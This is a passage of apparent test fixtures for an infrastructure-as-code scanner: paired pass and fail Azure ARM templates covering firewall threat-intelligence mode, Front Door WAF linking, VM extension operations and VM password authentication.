\"serviceEndpoints\": []\n            },\n            \"type\": \"Microsoft.Network/virtualNetworks/subnets\"\n          }\n        ],\n        \"virtualNetworkPeerings\": []\n      },\n      \"type\": \"Microsoft.Network/virtualNetworks\"\n    },\n    {\n      \"apiVersion\": \"2022-09-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworks_testvnet_name'))]\"\n      ],\n      \"name\": \"[concat(parameters('virtualNetworks_testvnet_name'), '/AzureFirewallSubnet')]\",\n      \"properties\": {\n        \"addressPrefix\": \"10.0.1.0/24\",\n        \"delegations\": [],\n        \"privateEndpointNetworkPolicies\": \"Enabled\",\n        \"privateLinkServiceNetworkPolicies\": \"Enabled\",\n        \"serviceEndpoints\": []\n      },\n      \"type\": \"Microsoft.Network/virtualNetworks/subnets\"\n    },\n    {\n      \"apiVersion\": \"2022-09-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/publicIPAddresses', parameters('publicIPAddresses_testpip_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]\"\n      ],\n      \"location\": \"westeurope\",\n      \"name\": \"fail2\",\n      \"properties\": {\n        \"additionalProperties\": {},\n        \"applicationRuleCollections\": [],\n        \"ipConfigurations\": [\n          {\n            \"id\": \"[concat(resourceId('Microsoft.Network/azureFirewalls', parameters('azureFirewalls_fail_name')), '/azureFirewallIpConfigurations/configuration')]\",\n            \"name\": \"configuration\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', parameters('publicIPAddresses_testpip_name'))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]\"\n              }\n            }\n          }\n        ],\n        \"natRuleCollections\": [],\n        \"networkRuleCollections\": [],\n        \"sku\": {\n          \"name\": \"AZFW_VNet\",\n          \"tier\": \"Standard\"\n        },\n        \"threatIntelMode\": \"Off\"\n      },\n      \"type\": \"Microsoft.Network/azureFirewalls\"\n    }\n  ],\n  \"variables\": {}\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureFirewallDenyThreatIntelMode/CKV_AZURE_216.pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"azureFirewalls_pass_name\": {\n      \"type\": \"String\"\n    },\n    \"publicIPAddresses_testpip_name\": {\n      \"type\": \"String\"\n    },\n    \"virtualNetworks_testvnet_name\": {\n      \"type\": \"String\"\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2022-09-01\",\n      \"location\": \"westeurope\",\n      \"name\": \"[parameters('publicIPAddresses_testpip_name')]\",\n      \"properties\": {\n        \"ddosSettings\": {\n          \"protectionMode\": \"VirtualNetworkInherited\"\n        },\n        \"idleTimeoutInMinutes\": 4,\n        \"ipAddress\": \"20.234.231.26\",\n        \"ipTags\": [],\n        \"publicIPAddressVersion\": \"IPv4\",\n        \"publicIPAllocationMethod\": \"Static\"\n      },\n      \"sku\": {\n        \"name\": \"Standard\",\n        \"tier\": \"Regional\"\n      },\n      \"type\": \"Microsoft.Network/publicIPAddresses\"\n    },\n    {\n      \"apiVersion\": \"2022-09-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]\"\n      ],\n      \"location\": \"westeurope\",\n      \"name\": \"[parameters('virtualNetworks_testvnet_name')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.0.0.0/16\"\n          ]\n        },\n        \"dhcpOptions\": {\n          \"dnsServers\": []\n        },\n        \"enableDdosProtection\": false,\n        \"subnets\": [\n          {\n            \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]\",\n            \"name\": \"AzureFirewallSubnet\",\n            \"properties\": {\n              \"addressPrefix\": \"10.0.1.0/24\",\n              \"delegations\": [],\n              \"privateEndpointNetworkPolicies\": \"Enabled\",\n              \"privateLinkServiceNetworkPolicies\": \"Enabled\",\n              \"serviceEndpoints\": []\n            },\n            \"type\": \"Microsoft.Network/virtualNetworks/subnets\"\n          }\n        ],\n        \"virtualNetworkPeerings\": []\n      },\n      \"type\": \"Microsoft.Network/virtualNetworks\"\n    },\n    {\n      \"apiVersion\": \"2022-09-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworks_testvnet_name'))]\"\n      ],\n      \"name\": \"[concat(parameters('virtualNetworks_testvnet_name'), '/AzureFirewallSubnet')]\",\n      \"properties\": {\n        \"addressPrefix\": \"10.0.1.0/24\",\n        \"delegations\": [],\n        \"privateEndpointNetworkPolicies\": \"Enabled\",\n        \"privateLinkServiceNetworkPolicies\": \"Enabled\",\n        \"serviceEndpoints\": []\n      },\n      \"type\": \"Microsoft.Network/virtualNetworks/subnets\"\n    },\n    {\n      \"apiVersion\": \"2022-09-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/publicIPAddresses', parameters('publicIPAddresses_testpip_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]\"\n      ],\n      \"location\": \"westeurope\",\n      \"name\": \"pass\",\n      \"properties\": {\n        \"additionalProperties\": {},\n        \"applicationRuleCollections\": [],\n        \"ipConfigurations\": [\n          {\n            \"id\": \"[concat(resourceId('Microsoft.Network/azureFirewalls', parameters('azureFirewalls_pass_name')), '/azureFirewallIpConfigurations/configuration')]\",\n            \"name\": \"configuration\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', parameters('publicIPAddresses_testpip_name'))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworks_testvnet_name'), 'AzureFirewallSubnet')]\"\n              }\n            }\n          }\n        ],\n        \"natRuleCollections\": [],\n        \"networkRuleCollections\": [],\n        \"sku\": {\n          \"name\": \"AZFW_VNet\",\n          \"tier\": \"Standard\"\n        },\n        \"threatIntelMode\": \"Deny\"\n      },\n      \"type\": \"Microsoft.Network/azureFirewalls\"\n    }\n  ],\n  \"variables\": {}\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureFrontDoorEnablesWAF/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"17606357911537037484\"\n    }\n  },\n  \"parameters\": {\n    \"frontDoorName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the frontdoor resource.\"\n      }\n    },\n    \"backendAddress\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The hostname of the backend. Must be an IP address or FQDN.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"frontEndEndpointName\": \"frontEndEndpoint\",\n    \"loadBalancingSettingsName\": \"loadBalancingSettings\",\n    \"healthProbeSettingsName\": \"healthProbeSettings\",\n    \"routingRuleName\": \"routingRule\",\n    \"backendPoolName\": \"backendPool\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/frontDoors\",\n      \"apiVersion\": \"2020-05-01\",\n      \"name\": \"fail\",\n      \"location\": \"global\",\n      \"properties\": {\n        \"enabledState\": \"Enabled\",\n        \"frontendEndpoints\": [\n          {\n            \"name\": \"[variables('frontEndEndpointName')]\",\n            \"properties\": {\n              \"hostName\": \"[format('{0}.azurefd.net', parameters('frontDoorName'))]\",\n              \"sessionAffinityEnabledState\": \"Disabled\"\n            }\n          }\n        ],\n        \"loadBalancingSettings\": [\n          {\n            \"name\": \"[variables('loadBalancingSettingsName')]\",\n            \"properties\": {\n              \"sampleSize\": 4,\n              \"successfulSamplesRequired\": 2\n            }\n          }\n        ],\n        \"healthProbeSettings\": [\n          {\n            \"name\": \"[variables('healthProbeSettingsName')]\",\n            \"properties\": {\n              \"path\": \"/\",\n              \"protocol\": \"Http\",\n              \"intervalInSeconds\": 120\n            }\n          }\n        ],\n        \"backendPools\": [\n          {\n            \"name\": \"[variables('backendPoolName')]\",\n            \"properties\": {\n              \"backends\": [\n                {\n                  \"address\": \"[parameters('backendAddress')]\",\n                  \"backendHostHeader\": \"[parameters('backendAddress')]\",\n                  \"httpPort\": 80,\n                  \"httpsPort\": 443,\n                  \"weight\": 50,\n                  \"priority\": 1,\n                  \"enabledState\": \"Enabled\"\n                }\n              ],\n              \"loadBalancingSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/frontDoors/loadBalancingSettings', parameters('frontDoorName'), variables('loadBalancingSettingsName'))]\"\n              },\n              \"healthProbeSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/frontDoors/healthProbeSettings', parameters('frontDoorName'), variables('healthProbeSettingsName'))]\"\n              }\n            }\n          }\n        ],\n        \"routingRules\": [\n          {\n            \"name\": \"[variables('routingRuleName')]\",\n            \"properties\": {\n              \"frontendEndpoints\": [\n                {\n                  \"id\": \"[resourceId('Microsoft.Network/frontDoors/frontEndEndpoints', parameters('frontDoorName'), variables('frontEndEndpointName'))]\"\n                }\n              ],\n              \"acceptedProtocols\": [\n                \"Http\",\n                \"Https\"\n              ],\n              \"patternsToMatch\": [\n                \"/*\"\n              ],\n              \"routeConfiguration\": {\n                \"@odata.type\": \"#Microsoft.Azure.FrontDoor.Models.FrontdoorForwardingConfiguration\",\n                \"forwardingProtocol\": \"MatchRequest\",\n                \"backendPool\": {\n                  \"id\": \"[resourceId('Microsoft.Network/frontDoors/backEndPools', parameters('frontDoorName'), variables('backendPoolName'))]\"\n                }\n              },\n              \"enabledState\": \"Enabled\"\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureFrontDoorEnablesWAF/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"17606357911537037484\"\n    }\n  },\n  \"parameters\": {\n    \"frontDoorName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the frontdoor resource.\"\n      }\n    },\n    \"backendAddress\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The hostname of the backend. Must be an IP address or FQDN.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"frontEndEndpointName\": \"frontEndEndpoint\",\n    \"loadBalancingSettingsName\": \"loadBalancingSettings\",\n    \"healthProbeSettingsName\": \"healthProbeSettings\",\n    \"routingRuleName\": \"routingRule\",\n    \"backendPoolName\": \"backendPool\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/frontDoors\",\n      \"apiVersion\": \"2020-05-01\",\n      \"name\": \"pass\",\n      \"location\": \"global\",\n      \"properties\": {\n        \"enabledState\": \"Enabled\",\n        \"frontendEndpoints\": [\n          {\n            \"name\": \"[variables('frontEndEndpointName')]\",\n            \"properties\": {\n              \"hostName\": \"[format('{0}.azurefd.net', parameters('frontDoorName'))]\",\n              \"webApplicationFirewallPolicyLink\": {\n                \"id\": \"anythingyoulike\"\n              },\n              \"sessionAffinityEnabledState\": \"Disabled\"\n            }\n          }\n        ],\n        \"loadBalancingSettings\": [\n          {\n            \"name\": \"[variables('loadBalancingSettingsName')]\",\n            \"properties\": {\n              \"sampleSize\": 4,\n              \"successfulSamplesRequired\": 2\n            }\n          }\n        ],\n        \"healthProbeSettings\": [\n          {\n            \"name\": \"[variables('healthProbeSettingsName')]\",\n            \"properties\": {\n              \"path\": \"/\",\n              \"protocol\": \"Http\",\n              \"intervalInSeconds\": 120\n            }\n          }\n        ],\n        \"backendPools\": [\n          {\n            \"name\": \"[variables('backendPoolName')]\",\n            \"properties\": {\n              \"backends\": [\n                {\n                  \"address\": \"[parameters('backendAddress')]\",\n                  \"backendHostHeader\": \"[parameters('backendAddress')]\",\n                  \"httpPort\": 80,\n                  \"httpsPort\": 443,\n                  \"weight\": 50,\n                  \"priority\": 1,\n                  \"enabledState\": \"Enabled\"\n                }\n              ],\n              \"loadBalancingSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/frontDoors/loadBalancingSettings', parameters('frontDoorName'), variables('loadBalancingSettingsName'))]\"\n              },\n              \"healthProbeSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/frontDoors/healthProbeSettings', parameters('frontDoorName'), variables('healthProbeSettingsName'))]\"\n              }\n            }\n          }\n        ],\n        \"routingRules\": [\n          {\n            \"name\": \"[variables('routingRuleName')]\",\n            \"properties\": {\n              \"frontendEndpoints\": [\n                {\n                  \"id\": \"[resourceId('Microsoft.Network/frontDoors/frontEndEndpoints', parameters('frontDoorName'), variables('frontEndEndpointName'))]\"\n                }\n              ],\n              \"acceptedProtocols\": [\n                \"Http\",\n                \"Https\"\n              ],\n              \"patternsToMatch\": [\n                \"/*\"\n              ],\n              \"routeConfiguration\": {\n                \"@odata.type\": \"#Microsoft.Azure.FrontDoor.Models.FrontdoorForwardingConfiguration\",\n                \"forwardingProtocol\": \"MatchRequest\",\n                \"backendPool\": {\n                  \"id\": \"[resourceId('Microsoft.Network/frontDoors/backEndPools', parameters('frontDoorName'), variables('backendPoolName'))]\"\n                }\n              },\n              \"enabledState\": \"Enabled\"\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureInstanceExtensions/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"virtualMachines_pike_name\": {\n            \"defaultValue\": \"fail\",\n            \"type\": \"String\"\n        },\n        \"disks_pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Compute/disks/pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050\",\n            \"type\": \"String\"\n        },\n        \"networkInterfaces_pike_nic_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Network/networkInterfaces/pike_nic\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Compute/virtualMachines\",\n            \"apiVersion\": \"2023-03-01\",\n            \"name\": \"[parameters('virtualMachines_pike_name')]\",\n            \"location\": \"westeurope\",\n            \"properties\": {\n                \"hardwareProfile\": {\n                    \"vmSize\": \"Standard_F2\"\n                },\n                \"storageProfile\": {\n                    \"imageReference\": {\n                        \"publisher\": \"Canonical\",\n                        \"offer\": \"0001-com-ubuntu-server-focal\",\n                        \"sku\": \"20_04-lts\",\n                        \"version\": \"latest\"\n                    },\n                    \"osDisk\": {\n                        \"osType\": \"Linux\",\n                        \"name\": \"[concat(parameters('virtualMachines_pike_name'), '_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050')]\",\n                        \"createOption\": \"FromImage\",\n                        \"caching\": \"ReadWrite\",\n                        \"writeAcceleratorEnabled\": false,\n                        \"managedDisk\": {\n                            \"storageAccountType\": \"Standard_LRS\",\n                            \"id\": \"[parameters('disks_pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050_externalid')]\"\n                        },\n                        \"deleteOption\": \"Detach\",\n                        \"diskSizeGB\": 30\n                    },\n                    \"dataDisks\": []\n                },\n                \"osProfile\": {\n                    \"computerName\": \"[parameters('virtualMachines_pike_name')]\",\n                    \"adminUsername\": \"adminuser\",\n                    \"linuxConfiguration\": {\n                        \"disablePasswordAuthentication\": true,\n                        \"ssh\": {\n                            \"publicKeys\": [\n                                {\n                                    \"path\": \"/home/adminuser/.ssh/authorized_keys\",\n                                    \"keyData\": \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5M1Z6i9r0/5ld5oWUhWIDI8j1DPc1sDrRqfPc4GMuotkpg2Iza7mX+JkieB36RmzRmhOjNZDh8FdtnoW3gtJ/dTkY8t2cnttAAD49BWmg9C9scfVXj5zNYdaDX9eYFY+a4UyYNkDZtmTnaK+i4r32lIAahcCd8L4vD8ltpw/LIZmI4FpShy019pXadYMVhPA3X6Tav8+BUW76enj1BKD2e5WqUOSvdxuiKcLIiJeyveq2Yl30kbmB0o3hVp7fQYrIwtEjz/11X29NcIgyb9wNuEGPq751Vfgwk6vh0tBUasrOGrh5wo3gHezBEtfOWXYadIxMzGW/a7QYRbXhcUfz\\n\"\n                                }\n                            ]\n                        },\n                        \"provisionVMAgent\": true,\n                        \"patchSettings\": {\n                            \"patchMode\": \"ImageDefault\",\n                            \"assessmentMode\": \"ImageDefault\"\n                        },\n                        \"enableVMAgentPlatformUpdates\": false\n                    },\n                    \"secrets\": [],\n                    \"allowExtensionOperations\": true,\n                    \"requireGuestProvisionSignal\": true\n                },\n                \"networkProfile\": {\n                    \"networkInterfaces\": [\n                        {\n                            \"id\": \"[parameters('networkInterfaces_pike_nic_externalid')]\",\n                            \"properties\": {\n                                \"primary\": true\n                            }\n                        }\n                    ]\n                },\n                \"diagnosticsProfile\": {\n                    \"bootDiagnostics\": {\n                        \"enabled\": false\n                    }\n                },\n                \"priority\": \"Regular\",\n                \"extensionsTimeBudget\": \"PT1H30M\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureInstanceExtensions/fail2.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"virtualMachines_pike_name\": {\n            \"defaultValue\": \"fail2\",\n            \"type\": \"String\"\n        },\n        \"disks_pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Compute/disks/pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050\",\n            \"type\": \"String\"\n        },\n        \"networkInterfaces_pike_nic_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Network/networkInterfaces/pike_nic\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Compute/virtualMachines\",\n            \"apiVersion\": \"2023-03-01\",\n            \"name\": \"[parameters('virtualMachines_pike_name')]\",\n            \"location\": \"westeurope\",\n            \"properties\": {\n                \"hardwareProfile\": {\n                    \"vmSize\": \"Standard_F2\"\n                },\n                \"storageProfile\": {\n                    \"imageReference\": {\n                        \"publisher\": \"Canonical\",\n                        \"offer\": \"0001-com-ubuntu-server-focal\",\n                        \"sku\": \"20_04-lts\",\n                        \"version\": \"latest\"\n                    },\n                    \"osDisk\": {\n                        \"osType\": \"Linux\",\n                        \"name\": \"[concat(parameters('virtualMachines_pike_name'), '_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050')]\",\n                        \"createOption\": \"FromImage\",\n                        \"caching\": \"ReadWrite\",\n                        \"writeAcceleratorEnabled\": false,\n                        \"managedDisk\": {\n                            \"storageAccountType\": \"Standard_LRS\",\n                            \"id\": \"[parameters('disks_pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050_externalid')]\"\n                        },\n                        \"deleteOption\": \"Detach\",\n                        \"diskSizeGB\": 30\n                    },\n                    \"dataDisks\": []\n                },\n                \"osProfile\": {\n                    \"computerName\": \"[parameters('virtualMachines_pike_name')]\",\n                    \"adminUsername\": \"adminuser\",\n                    \"linuxConfiguration\": {\n                        \"disablePasswordAuthentication\": true,\n                        \"ssh\": {\n                            \"publicKeys\": [\n                                {\n                                    \"path\": \"/home/adminuser/.ssh/authorized_keys\",\n                                    \"keyData\": \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5M1Z6i9r0/5ld5oWUhWIDI8j1DPc1sDrRqfPc4GMuotkpg2Iza7mX+JkieB36RmzRmhOjNZDh8FdtnoW3gtJ/dTkY8t2cnttAAD49BWmg9C9scfVXj5zNYdaDX9eYFY+a4UyYNkDZtmTnaK+i4r32lIAahcCd8L4vD8ltpw/LIZmI4FpShy019pXadYMVhPA3X6Tav8+BUW76enj1BKD2e5WqUOSvdxuiKcLIiJeyveq2Yl30kbmB0o3hVp7fQYrIwtEjz/11X29NcIgyb9wNuEGPq751Vfgwk6vh0tBUasrOGrh5wo3gHezBEtfOWXYadIxMzGW/a7QYRbXhcUfz\\n\"\n                                }\n                            ]\n                        },\n                        \"provisionVMAgent\": true,\n                        \"patchSettings\": {\n                            \"patchMode\": \"ImageDefault\",\n                            \"assessmentMode\": \"ImageDefault\"\n                        },\n                        \"enableVMAgentPlatformUpdates\": false\n                    },\n                    \"secrets\": [],\n                    \"requireGuestProvisionSignal\": true\n                },\n                \"networkProfile\": {\n                    \"networkInterfaces\": [\n                        {\n                            \"id\": \"[parameters('networkInterfaces_pike_nic_externalid')]\",\n                            \"properties\": {\n                                \"primary\": true\n                            }\n                        }\n                    ]\n                },\n                \"diagnosticsProfile\": {\n                    \"bootDiagnostics\": {\n                        \"enabled\": false\n                    }\n                },\n                \"priority\": \"Regular\",\n                \"extensionsTimeBudget\": \"PT1H30M\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureInstanceExtensions/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"virtualMachines_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"disks_pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Compute/disks/pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050\",\n            \"type\": \"String\"\n        },\n        \"networkInterfaces_pike_nic_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Network/networkInterfaces/pike_nic\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Compute/virtualMachines\",\n            \"apiVersion\": \"2023-03-01\",\n            \"name\": \"[parameters('virtualMachines_pike_name')]\",\n            \"location\": \"westeurope\",\n            \"properties\": {\n                \"hardwareProfile\": {\n                    \"vmSize\": \"Standard_F2\"\n                },\n                \"storageProfile\": {\n                    \"imageReference\": {\n                        \"publisher\": \"Canonical\",\n                        \"offer\": \"0001-com-ubuntu-server-focal\",\n                        \"sku\": \"20_04-lts\",\n                        \"version\": \"latest\"\n                    },\n                    \"osDisk\": {\n                        \"osType\": \"Linux\",\n                        \"name\": \"[concat(parameters('virtualMachines_pike_name'), '_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050')]\",\n                        \"createOption\": \"FromImage\",\n                        \"caching\": \"ReadWrite\",\n                        \"writeAcceleratorEnabled\": false,\n                        \"managedDisk\": {\n                            \"storageAccountType\": \"Standard_LRS\",\n                            \"id\": \"[parameters('disks_pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050_externalid')]\"\n                        },\n                        \"deleteOption\": \"Detach\",\n                        \"diskSizeGB\": 30\n                    },\n                    \"dataDisks\": []\n                },\n                \"osProfile\": {\n                    \"computerName\": \"[parameters('virtualMachines_pike_name')]\",\n                    \"adminUsername\": \"adminuser\",\n                    \"linuxConfiguration\": {\n                        \"disablePasswordAuthentication\": true,\n                        \"ssh\": {\n                            \"publicKeys\": [\n                                {\n                                    \"path\": \"/home/adminuser/.ssh/authorized_keys\",\n                                    \"keyData\": \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5M1Z6i9r0/5ld5oWUhWIDI8j1DPc1sDrRqfPc4GMuotkpg2Iza7mX+JkieB36RmzRmhOjNZDh8FdtnoW3gtJ/dTkY8t2cnttAAD49BWmg9C9scfVXj5zNYdaDX9eYFY+a4UyYNkDZtmTnaK+i4r32lIAahcCd8L4vD8ltpw/LIZmI4FpShy019pXadYMVhPA3X6Tav8+BUW76enj1BKD2e5WqUOSvdxuiKcLIiJeyveq2Yl30kbmB0o3hVp7fQYrIwtEjz/11X29NcIgyb9wNuEGPq751Vfgwk6vh0tBUasrOGrh5wo3gHezBEtfOWXYadIxMzGW/a7QYRbXhcUfz\\n\"\n                                }\n                            ]\n                        },\n                        \"provisionVMAgent\": true,\n                        \"patchSettings\": {\n                            \"patchMode\": \"ImageDefault\",\n                            \"assessmentMode\": \"ImageDefault\"\n                        },\n                        \"enableVMAgentPlatformUpdates\": false\n                    },\n                    \"secrets\": [],\n                    \"allowExtensionOperations\": false,\n                    \"requireGuestProvisionSignal\": true\n                },\n                \"networkProfile\": {\n                    \"networkInterfaces\": [\n                        {\n                            \"id\": \"[parameters('networkInterfaces_pike_nic_externalid')]\",\n                            \"properties\": {\n                                \"primary\": true\n                            }\n                        }\n                    ]\n                },\n                \"diagnosticsProfile\": {\n                    \"bootDiagnostics\": {\n                        \"enabled\": false\n                    }\n                },\n                \"priority\": \"Regular\",\n                \"extensionsTimeBudget\": \"PT1H30M\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureInstancePassword/FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vmName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"simpleLinuxVM\",\n      \"metadata\": {\n        \"description\": \"The name of you Virtual Machine.\"\n      }\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Username for the Virtual Machine.\"\n      }\n    },\n    \"authenticationType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"password\",\n      \"allowedValues\": [\n        \"sshPublicKey\",\n        \"password\"\n      ],\n      \"metadata\": {\n        \"description\": \"Type of authentication to use on the Virtual Machine. SSH key is recommended.\"\n      }\n    },\n    \"adminPasswordOrKey\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"SSH Key or password for the Virtual Machine. SSH key is recommended.\"\n      }\n    },\n    \"dnsLabelPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[toLower(concat('simplelinuxvm-', uniqueString(resourceGroup().id)))]\",\n      \"metadata\": {\n        \"description\": \"Unique DNS Name for the Public IP used to access the Virtual Machine.\"\n      }\n    },\n    \"ubuntuOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"18.04-LTS\",\n      \"allowedValues\": [\n        \"12.04.5-LTS\",\n        \"14.04.5-LTS\",\n        \"16.04.0-LTS\",\n        \"18.04-LTS\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"VmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_B2s\",\n      \"metadata\": {\n        \"description\": \"The size of the VM\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"vNet\",\n      \"metadata\": {\n        \"description\": \"Name of the VNET\"\n      }\n    },\n    \"subnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Subnet\",\n      \"metadata\": {\n        \"description\": \"Name of the subnet in the virtual network\"\n      }\n    },\n    \"networkSecurityGroupName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"SecGroupNet\",\n      \"metadata\": {\n        \"description\": \"Name of the Network Security Group\"\n      }\n    }\n  },\n  \"variables\": {\n    \"publicIpAddressName\": \"[concat(parameters('vmName'), 'PublicIP' )]\",\n    \"networkInterfaceName\": \"[concat(parameters('vmName'),'NetInt')]\",\n    \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]\",\n    \"osDiskType\": \"Standard_LRS\",\n    \"subnetAddressPrefix\": \"10.1.0.0/24\",\n    \"addressPrefix\": \"10.1.0.0/16\",\n    \"linuxConfiguration\": {\n      \"disablePasswordAuthentication\": true,\n      \"ssh\": {\n        \"publicKeys\": [\n          {\n            \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n            \"keyData\": \"[parameters('adminPasswordOrKey')]\"\n          }\n        ]\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": 